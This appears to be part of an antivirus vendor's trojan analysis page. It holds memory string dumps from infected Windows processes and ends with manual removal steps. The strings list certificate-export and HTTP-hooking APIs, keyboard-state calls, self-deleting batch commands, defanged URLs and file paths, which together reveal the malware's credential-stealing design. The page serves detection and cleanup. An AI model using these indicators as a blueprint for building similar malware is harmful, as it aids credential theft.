7"52),,>
, >(3=2;
<7!="?):
&;1"&1!7!1
;1 "?&! ?
c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_
7.>.3; `
1:,0/2$7
?$6 39 ~
HTTP/1.1
hXXp://
hXXps://
HTTP/1.
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
SSShlDL
GetProcessHeap
KERNEL32.dll
ExitWindowsEx
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
GetKeyboardState
MapVirtualKeyW
SetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
HttpAddRequestHeadersA
InternetCrackUrlA
HttpOpenRequestA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
>">->3>?>
5S5C5N5Z5
nspr4.dll
cGlobal\XXX
SysShadow
e.dat
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
:\Users\"%CurrentUserName%"\AppData\Roaming\Icopeg\waetd.kuy
C:\Users\"%CurrentUserName%"\AppData\Roaming\Icopeg
waetd.kuy
Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}
C:\Users\"%CurrentUserName%"\AppData\Roaming
{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

Explorer.EXE_2024_rwx_02D60000_00027000:

.text
`.data
.reloc
.wb\-w
PR_OpenTCPSocket
hXXp://VVV.google.com/webhp
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
<;.8("9`%,/
,127!' ./9
5/ -?9/#$
./.-#**:
6 !26!1'1
7"52),,>
, >(3=2;
<7!="?):
&;1"&1!7!1
;1 "?&! ?
c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_
7.>.3; `
1:,0/2$7
?$6 39 ~
HTTP/1.1
hXXp://
hXXps://
HTTP/1.
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
SSShlD
GetProcessHeap
KERNEL32.dll
ExitWindowsEx
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
GetKeyboardState
MapVirtualKeyW
SetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
HttpAddRequestHeadersA
InternetCrackUrlA
HttpOpenRequestA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
>">->3>?>
5S5C5N5Z5
nspr4.dll
cGlobal\XXX
SysShadow
e.dat
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}
C:\Users\"%CurrentUserName%"\AppData\Roaming
{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

conhost.exe_2520_rwx_00480000_00027000:

.text
`.data
.reloc
.wb\-w
PR_OpenTCPSocket
hXXp://VVV.google.com/webhp
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
<;.8("9`%,/
,127!' ./9
5/ -?9/#$
./.-#**:
6 !26!1'1
7"52),,>
, >(3=2;
<7!="?):
&;1"&1!7!1
;1 "?&! ?
c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_
7.>.3; `
1:,0/2$7
?$6 39 ~
HTTP/1.1
hXXp://
hXXps://
HTTP/1.
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
SSShlDH
GetProcessHeap
KERNEL32.dll
ExitWindowsEx
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
GetKeyboardState
MapVirtualKeyW
SetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
HttpAddRequestHeadersA
InternetCrackUrlA
HttpOpenRequestA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
>">->3>?>
5S5C5N5Z5
nspr4.dll
cGlobal\XXX
SysShadow
e.dat
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}
{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    WinMail.exe:2080
    %original file name%.exe:2936

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.MSMessageStore (45792 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Drafts\winmail.fol (560 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.pat (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Junk E-mail\winmail.fol (592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabD374.tmp (51 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\edb00002.log (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Sent Items\winmail.fol (592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\49FA07CB-00000001.eml (1924 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Deleted Items\winmail.fol (608 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Outbox\winmail.fol (560 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\winmail.fol (544 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\tmp.edb (1728 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.log (27176 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edb.chk (300 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E6024EAC88E6B6165D49FE3C95ADD735 (558 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Backup\temp\WindowsMail.MSMessageStore (99 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E6024EAC88E6B6165D49FE3C95ADD735 (816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ppcrlui_2080_2 (1281 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\WindowsMail.pat (400 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\edbtmp.log (3466 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarD375.tmp (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows Mail\Local Folders\Inbox\49FA07CB-00000001.eml:OECustomProperty (260 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\tmp9ee7c816.bat (179 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Koby\azxe.exe (462 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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